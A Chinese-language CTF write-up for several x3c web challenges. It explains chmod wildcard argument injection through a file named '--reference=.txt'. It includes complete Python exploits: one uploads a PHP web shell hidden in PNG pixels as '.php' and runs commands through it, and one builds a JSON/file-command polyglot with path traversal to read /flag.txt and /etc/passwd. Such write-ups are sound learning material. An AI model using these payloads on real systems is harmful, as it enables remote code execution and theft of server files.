文章目录
submission
只允许上传txt文件,看源码上传到uploads文件夹下,但是uploads文件夹权限是000,怎么绕过这一限制呢,难道要条件竞争吗
实际上如果在命令中使用通配符*是很危险的,因为如果上传的文件是.txt,在linux中就会被识别为隐藏文件,通配符无法找到。
其次,如果文件夹里有些文件名长得像命令的选项(比如 --help),系统可能会把这些文件名误以为是你想传给命令的参数。
接下来,chmod 命令中有一个 --reference=< 文件名>
选项,它会将所有文件更改为与 < 文件名>
相同的版本,可以将文件权限改为之前藏起来的.txt文件
https://www.freebuf.com/articles/system/176255
chdir($target_dir);
// make unreadable
shell_exec('chmod 000 *');
所以到这里我们的思路很清晰了
1.上传.txt文件绕过检测
2.上传--reference=.txt
3.读flag
kittyconvert
毫无疑问这是一道很像misc的web题
关键在于正则匹配这里,跟上一道题很相像,我们同样可以用类似.php这样的隐藏文件名来绕过

如果我的捕获组1什么都捕获不到,就不会发生替换,这里可以做一个简单的测试

基于此,我们可以传入php文件,接下来需要将脚本内容放到png图片里,因为传入的脚本还会进行一次图片格式的转换
ICO 文件特性:ICO 格式基于位图(BMP),支持 RGBA 数据。可以通过控制图片的 BGRA 值嵌入任意数据(例如 PHP 代码),但透明度值(A 通道)的 LSB(最低位)会被截断,因此只能使用 ASCII 值偶数的字符。
伪装为图片:将 PHP 代码嵌入 PNG 图片的像素数据(RGBA 通道),可以绕过服务器对文件类型的检查。脚本设置 MIME 类型为 image/png(files = {'file': ('.php', out, 'image/png')}),使服务器认为这是一个合法图片。
数据嵌入:PNG 的 RGBA 像素可以存储任意字节数据:
- 每个像素有 4 个通道(R, G, B, A),存储 4 字节。
- 64x64 图片有 4096 像素,可存储 4096 × 4 = 16,384 字节,远超 payload 的 33 字节。
- 脚本将 PHP 代码的字节(如 < = 60, ? = 63)映射到像素的 RGBA 值。
ICO 转换保留数据:服务器将 PNG 转换为 ICO 时,提取像素的 BGRA 数据,可能直接保存为文件内容。由于文件名是 .php,服务器不会将其视为图片,而是存储为原始文件(包含 PHP 代码)。
python
from PIL import Image
import requests
import io
url="http://localhost:70/"
im=Image.new("RGBA",(64,64),"white")
pix=im.load()
payload=b"<?php echo(exec($_GET[\"c\"])) ; ?>"
for i,vals in enumerate(zip(*[iter(payload)]*4)):
if vals[3]%2==1:
print(f"invalid alpha character '{payload.decode()[i*4+3]}' ({vals[3]}) (needs to be divisible by 2)")
pix[(i%64,i//64)]=(vals[2],vals[1],vals[0],vals[3])
out=io.BytesIO()
im.save(out,"PNG")
out.seek(0,0)
files={
'file':('.php',out,'image/png'),
'submit':(None,'Convert'),
}
r=requests.post(url,files=files)
r=requests.get(url+"uploads/.php?c=cat+/flag.txt")
print('Flag: x3c{' + r.text.split("x3c{")[1].split("}")[0] + '}')
MVMCheckers-Inc
进来有一个上传图片的路由,上传的图片可以在另一个路由看到
看源码处理上传的逻辑部分
php
$uploadFile = "./magicians/" . $_POST["name"] . ".magic";
$tmpFile = $_FILES["magician"]["tmp_name"];
$mime = shell_exec("file -b $tmpFile");
tmpFile是不可控的,否则可以直接命令注入了
php
if (!preg_match('/\w{1,5} image.*/', $mime)) {
echo "<p>Invalid upload!</p>";
exit();
}
if (str_contains($uploadFile, "php")) {
echo "<p>Invalid magician name!</p>";
exit();
}
需要绕过一下两个if,才能把文件成功上传,先暂且不考虑怎么绕过,我们需要上传的是什么东西,在rebuild/index.php中可以看到,它可以解析json文件,并读取特定的文件,也就是说我们最终的利用点应该在这里,所以需要想办法传一个合适的json文件上去
function interpret($section) {
$content = null;
switch ($section->type) {
case "text":
$content = $section->value;
break;
case "link":
$content = file_get_contents($section->value);
break;
}
return "<$section->tag>$content</$section->tag>";
}
用ai写一个攻击json,
{
"sections": [
{
"type": "link",
"tag": "div",
"value": "file:///etc/passwd" // 读取系统敏感文件
}
]
}
接下来有一个很明显的点,做的时候竟然没意识到,还是在文件名上做文章,可以打一个路径穿越,可以在name中进行,作用应该是把上传的文件放到rebuild目录下
回到json文件,要让file命令检测出的MIME类型为image,并且可以通过json文件的解析
搜索过程看到一些绕过file的东西

尝试一手

但是发现可以上传到上级目录,但是不能传到rebuild目录,这倒是小事,读的时候也路径穿越就可以了
但是显示页面不存在,所以还是json解码的时候失败了,能否构造json解码不失败的文件呢,看看其他人的wp
https://blog.regularofvanilla.com/posts/x3c#\[Web\] mvmcheckers-inc
好强,人直接去看file命令的源码了,也是一种思路
简单说,就是在第2048字节后加上PCD_IPI,就可以使file命令检测其为Kodak Photo CD image pack file文件
然而存在一个优先级问题我的理解就是先判断json,不符合json格式才会去2048字节,所以下述代码会输出json data
file = b"""{"sections": [{"type": "link", "tag": "i", "value": "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")
但是,我们注意看代码
$pageString = file_get_contents("./$pageName");
$sanitized = str_replace("\\", "", $pageString);
$pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE);
会移除\符号,所以只需要用这个符号破坏json格式即可
简单做一个测试
import os
file = b"""\\{"sections": [
{
"type": "link",
"tag": "div",
"value": "/flag.txt"
}
]
}"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")
发现成功判断为柯达映像文件
完整代码
import requests
# URL = "https://45e2d4ee-d444-4631-ac4c-c1d2e59daebc.x3c.tf:31337/"
URL = "http://localhost:8080/"
EVIL = "https://xxx.ngrok.app/"
file = b"""\\{"sections": [{"type": "link", "tag": "i", "value": "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
s = requests.session()
r = s.post(URL + "administration.php", files={
"magician": ("x", file)
}, data={
"name": "../xxxxx"
})
r = s.get(URL + "rebuild/?page=../xxxxx.magic")
print(r.status_code)
print(r.text)
blogdog
看上去似乎是要打一个有过滤的xss
同源策略:协议,主机,端口号都必须相同
没看懂这道题要干什么